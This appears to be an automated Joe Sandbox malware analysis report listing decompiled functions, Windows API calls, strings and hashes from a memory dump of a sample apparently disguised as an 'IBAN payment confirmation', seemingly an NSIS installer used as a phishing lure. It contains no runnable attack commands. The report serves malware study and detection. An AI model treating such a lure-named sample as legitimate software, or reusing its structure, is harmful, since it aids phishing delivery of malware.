CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC
NUL, xrefs: 00405C12
%ls=%ls, xrefs: 00405C76
p]B, xrefs: 00405C0D

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 004045CA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,00427180), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
soft, xrefs: 00402EAC
Error launching installer, xrefs: 00402E0C
Inst, xrefs: 00402EA3
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Null, xrefs: 00402EB5

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00405F0C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
